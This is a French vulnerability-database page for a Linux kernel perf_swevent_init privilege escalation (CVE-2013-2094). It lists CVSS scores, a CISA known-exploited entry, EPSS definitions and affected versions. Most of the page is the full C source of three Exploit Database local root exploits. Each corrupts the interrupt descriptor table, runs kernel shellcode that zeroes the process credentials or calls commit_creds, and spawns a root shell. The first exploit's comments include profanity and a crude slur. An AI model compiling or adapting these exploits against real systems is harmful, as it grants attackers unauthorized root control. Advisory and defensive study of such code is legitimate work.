Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-189 |
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
8.4 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
134c704f-9b21-4f2e-91b3-4a467353bcc0 |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Linux Kernel Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-09-14 22h00 +00:00
Action attendue : 2022-10-05 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 25444
Date de publication : 2013-05-13 22h00 +00:00
Auteur : sd
EDB Vérifié : No
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010
[email protected], salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*
* EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
* ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\
[email protected] 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
Exploit Database EDB-ID : 33589
Date de publication : 2014-05-30 22h00 +00:00
Auteur : Vitaly Nikolenko
EDB Vérifié : Yes
/**
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
* by Vitaly Nikolenko (
[email protected])
*
* based on semtex.c by sd
*
* Supported targets:
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
*
* $ gcc vnik.c -O2 -o vnik
*
* $ uname -r
* 3.2.0-23-generic
*
* $ ./vnik 0
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x1780000000
#define SIZE 0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
uint64_t targets[3][3] =
{{0xffffffff81ef67e0, // perf_swevent_enabled
0xffffffff81091630, // commit_creds
0xffffffff810918e0}, // prepare_kernel_cred
{0xffffffff81ef67a0,
0xffffffff81091220,
0xffffffff810914d0},
{0xffffffff81ef5940,
0xffffffff8107ee30,
0xffffffff8107f0c0}
};
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)AB(1);
// restore the handler
*fixptr = -1;
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
void trigger(uint32_t off) {
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert( !close(fd) );
}
int main(int argc, char **argv) {
uint64_t off64, needle, kbase, *p;
uint8_t *code;
uint32_t int_n, j = 5, target = 1337;
int offset = 0;
void *map;
assert(argc == 2 && "target?");
assert( (target = atoi(argv[1])) < 3 );
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// mmap user-space block so we don't page fault
// on sw_perf_event_destroy
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
asm volatile("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
printf("IDT addr = 0x%lx\n", idt.addr);
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
// can only play with interrupts 3, 4 and 0x80
for (int_n = 3; int_n <= 0x80; int_n++) {
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
int off32 = off64;
if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
offset = off32;
goto out;
}
}
if (int_n == 4) {
// shit, let's try 0x80 if the kernel is compiled with
// CONFIG_IA32_EMULATION
int_n = 0x80 - 1;
}
}
out:
assert(offset);
printf("Using int = %d with offset = %d\n", int_n, offset);
for (j = 0; j < 3; j++) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
trigger(offset);
switch (int_n) {
case 3:
asm volatile("int $0x03");
break;
case 4:
asm volatile("int $0x04");
break;
case 0x80:
asm volatile("int $0x80");
}
assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
Exploit Database EDB-ID : 26131
Date de publication : 2013-06-10 22h00 +00:00
Auteur : Andrea Bittau
EDB Vérifié : Yes
/*
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
* by sorbo (
[email protected]) June 2013
*
* Based on sd's exploit. Supports more targets.
*
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>
#define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000
#define TMP(x) (0xdeadbeef + (x))
struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed));
static int _fd;
static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc;
// printf("perf open %lx [%d]\n", off, (int) off);
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = 1;
attr.comm = 1;
attr.exclude_kernel = 1;
rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
return rc;
}
void __sc_start(void);
void __sc_next(void);
void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
}
void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
uint64_t kbase = ((uint64_t)current) >> 36;
int uid = TMP(1);
int gid = TMP(2);
for (i = 0; i < 4000; i += 4) {
uint64_t *p = (void *) ¤t[i];
uint32_t *cred = (uint32_t*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
continue;
for (j = 0; j < 20; j++) {
if (cred[j] == uid && cred[j + 1] == gid) {
for (i = 0; i < 8; i++) {
cred[j + i] = 0;
return;
}
}
}
}
}
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p;
p = memmem(sc, 900, &needle, sizeof(needle));
if (!p)
errx(1, "can't find %x", needle);
memcpy(p, &val, sizeof(val));
}
static void *map_mem(uint64_t addr)
{
void *p;
p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap()");
return p;
}
static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem;
for (i = 0; i < SIZE; i++) {
if (p[i] == c)
return i;
}
return -1;
}
static void dropshell()
{
if (setuid(0) != 0)
errx(1, "failed");
printf("Launching shell\n");
execl("/bin/sh", "sh", NULL);
exit(0);
}
void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
}
static void trigger(int intr)
{
switch (intr) {
case 0:
do {
int z = 1;
int a = 1;
z--;
a /= z;
} while (0);
break;
case 4:
asm("int $4");
break;
case 0x80:
asm("int $0x80");
break;
default:
errx(1, "unknown intr %d", intr);
}
sleep(3);
}
int main(int argc, char *argv[])
{
uint32_t *p[2];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = 4;
int intr = 4;
printf("Searchin...\n");
p[0] = map_mem(BASE);
p[1] = map_mem(BASE_JUMP);
memset(p[1], 0x69, SIZE);
off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd);
i = find_mem(p[0], 0xff);
if (i == -1) {
i = find_mem(p[1], 0x68);
if (i == -1)
errx(1, "Can't find overwrite");
sz = 24;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
}
munmap(p[0], SIZE);
munmap(p[1], SIZE);
addr += i;
addr -= off * sz;
printf("perf_swevent_enabled is at 0x%lx\n", addr);
asm("sidt %0" : "=m" (idt));
printf("IDT at 0x%lx\n", idt.addr);
off = addr - idt.addr;
off -= 8;
switch (off % sz) {
case 0:
intr = 0;
break;
case 8:
intr = 0x80;
break;
case 16:
intr = 4;
break;
default:
errx(1, "remainder %d", off % sz);
}
printf("Using interrupt %d\n", intr);
off -= 16 * intr;
assert((off % sz) == 0);
off /= sz;
off = -off;
// printf("Offset %lx\n", off);
kbase = (uint8_t*) (idt.addr & 0xFF000000);
printf("Shellcode at %p\n", kbase);
if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
err(1, "mmap()");
memset(kbase, 0x90, KSIZE);
kbase += KSIZE - 1024;
i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, 900);
sc_replace(kbase, TMP(1), getuid());
sc_replace(kbase, TMP(2), getgid());
signal(SIGALRM, morte);
alarm(2);
printf("Triggering sploit\n");
_fd = perf_open(off);
trigger(intr);
exit(0);
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (excluding) 3.0.75
Linux>>Linux_kernel >> Version From (including) 3.1 To (excluding) 3.2.45
Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.42
Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.8.9
Références